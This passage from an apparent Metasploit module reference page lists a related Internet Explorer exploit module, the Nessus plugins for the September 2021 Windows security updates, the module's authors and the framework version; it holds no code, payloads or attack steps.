- exploit/windows/browser/ms11_050_mshtml_cobjectelement
Related Nessus plugins:
- KB5005569: Windows 10 version 1507 LTS September 2021 Security Update
- KB5005568: Windows 10 Version 1809 and Windows Server 2019 September 2021 Security Update
- Security Updates for Internet Explorer (September 2021)
- KB5005627: Windows 8.1 and Windows Server 2012 R2 September 2021 Security Update
- KB5005573: Windows 10 Version 1607 and Windows Server 2016 September 2021 Security Update
- KB5005565: Windows 10 Version 2004 / Windows 10 Version 20H2 / Windows 10 Version 21H1 Security Update (September 2021)
- KB5005566: Windows 10 version 1909 / Windows Server 1909 Security Update (September 2021)
Authors
- lockedbyte
- klezVirus
- thesunRider
- mekhalleh (RAMELLA Sébastien)
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
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